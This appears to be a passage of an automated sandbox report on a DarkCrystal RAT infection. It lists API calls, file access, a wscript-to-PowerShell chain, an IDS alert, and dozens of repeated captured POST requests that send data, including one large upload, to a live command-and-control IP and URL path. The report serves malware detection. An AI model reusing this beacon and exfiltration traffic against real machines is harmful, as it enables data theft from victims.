Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: yC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0090A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_0090A69B
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0091C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_0091C220

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 4x nop then jmp 00007FFD9B9F2126h	5_2_00007FFD9B9E07F8
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 4x nop then jmp 00007FFD9B9F2126h	5_2_00007FFD9B9E0860
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	5_2_00007FFD9BB9D1DD
Source: C:\Recovery\uAsLgsGzSk.exe	Code function: 4x nop then jmp 00007FFD9BA22126h	35_2_00007FFD9BA21F1E
Source: C:\Recovery\uAsLgsGzSk.exe	Code function: 4x nop then jmp 00007FFD9BA02126h	37_2_00007FFD9B9F0860

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49736 -> 89.23.100.242:80

Source: Joe Sandbox View

ASN Name: MAXITEL-ASRU MAXITEL-ASRU

Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 1820Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2020Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: multipart/form-data; boundary=----s4VOHFAR20G8vVPIwClEHtRE0DwTdOyX8pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 204914Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2012Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
